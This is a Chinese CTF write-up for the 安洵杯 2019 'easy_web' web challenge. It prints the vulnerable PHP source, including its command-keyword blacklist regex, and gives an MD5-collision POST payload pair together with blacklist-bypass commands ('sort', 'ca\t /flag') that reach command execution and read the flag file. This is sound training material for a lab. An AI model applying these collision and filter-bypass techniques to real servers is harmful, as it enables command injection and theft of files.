美文网首页
安洵杯 2019-WEB-easy_web

安洵杯 2019-WEB-easy_web

作者: le3f | 来源:发表于2020-04-12 11:16 被阅读0次

复现地址:https://buuoj.cn/challenges#[安洵杯%202019]easy_web

参考:https://xz.aliyun.com/t/2232
https://blog.csdn.net/SopRomeo/article/details/104124545

对img参数进行解码,显示555.png

image.png image.png

将index.php进行反推 TmprMlpUWTBOalUzT0RKbE56QTJPRGN3


image.png

将加密后的结果传入 img参数中 ,对生成的base64进行解码得到index.php的源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi� no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

传入值进行md5强比较

    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
image.png

通过sort 绕过


image.png

ca\t /flag绕过


image.png

相关文章

  • 安洵杯 2019-WEB-easy_web

    复现地址:https://buuoj.cn/challenges#[安洵杯%202019]easy_web 参考:...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • 安洵杯环境搭建

    Orz,其中有很多坑点,大佬们写的不是很全,所以本菜搭建起来踩坑了.... 有一些配置是需要改的,有的基本一查就查...

  • 安洵杯2019线下赛

    上周末回成都打了安洵,感谢大佬们带飞搞了个三等奖,下午茶很好吃,可乐很好喝,小姐姐也很好看,很快乐,于是来写个小总...

  • [安洵杯 2019]easy_web

    首先这个链接长得挺奇怪的,img参数后面跟的有点像base64编码。[图片上传失败...(image-dd83a9...

  • [安洵杯 2019]easy_serialize_php WP

    0x00 easy_serialize_php 打开题目查看源代码,不长,摘抄如下: 分析以上代码,提示f=php...

  • 安洵杯2019-web部分题目复现

    发现buuoj上安洵2019的题目有现成的,不用在vps上搭了(第一题除外,搭好才发现......),刚好做做。 ...

  • [安洵杯 2019]easy_web之愚见

    最近身边碎事比较多,也面临期末考试月,周末抽空做了这个难度不大的题目,在这个过程中转过了一些弯,也遇到了一些问题。...

  • [安洵杯 2019]easy_serialize_php之愚见

    三句题外话,第一句是终于放假了,在考试周活了下来,最后一周面临3门考试,我仍然做了2道比较基础的题目,现在重做一下...

  • 彪悍小姐追夫记(完)

    听到青禾说张洵然还没有走,还趴在墙头。我连忙跑出屋子,来到院子里墙角边。 张洵然一看我来,就大喊着,“蘅安,蘅安。...

网友评论

      本文标题:安洵杯 2019-WEB-easy_web

      本文链接:https://www.haomeiwen.com/subject/rnrvmhtx.html